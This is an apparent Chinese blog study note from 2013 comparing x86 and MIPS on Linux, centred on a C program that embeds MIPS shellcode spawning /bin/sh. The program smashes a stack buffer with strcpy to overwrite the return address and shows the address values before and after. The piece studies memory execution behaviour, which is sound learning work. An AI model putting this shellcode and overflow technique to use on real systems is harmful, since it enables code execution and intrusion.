Linux下X86与MIPS区别之一:代码放在数据区是否可以被执行


                                                                                                        学习时间:2013/9/10

X86与MIPS区别:

(1)代码放在数据区是可以被执行的,而MIPS却不可以;(2)函数调用开辟栈空间大小不一样。
以下是基于MIPS上的一段把执行代码放在数据区的程序:
#include
char shellcode[] = {
"\x50\x73\x06\x24"
"\xff\xff\xd0\x04"
"\x50\x73\x0f\x24"
"\xff\xff\x06\x28"
"\xe0\xff\xbd\x27"
"\xd7\xff\x0f\x24"
"\x27\x78\xe0\x01"
"\x21\x20\xef\x03"
"\xe8\xff\xa4\xaf"
"\xec\xff\xa0\xaf"
"\xe8\xff\xa5\x23"
"\xab\x0f\x02\x24"
"\x0c\x01\x01\x01"
"/bin/sh"
};

long addra;

char large_string[144];

int main()
{
foo();
printf("The programe can not modify the address of ra(m)!!!\n");
};

void foo()
{ int i;
char buffer[128];
printf("=================================================================\n");
printf("the buffer address is %x\n",&buffer);
addra = buffer+136;

long *p;
p=addra;

printf("before strcpy() function,the address of ra(m) is 0x%x\n",addra);
printf("before strcpy() function,the value of ra(m) is 0x%x\n",*p);

long *long_ptr = (long *)large_string;
for (i = 0; i < 36; i++)
{
*(long_ptr + i) = (int)buffer;
}
for (i = 0; i <(int)strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer, large_string);
printf("\n\nAfter strcpy() function,the address of ra(m) is 0x%x\n",addra);
printf("After strcpy() function,the value of ra(m) is 0x%x\n",*p);
printf("=================================================================\n");
return ;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值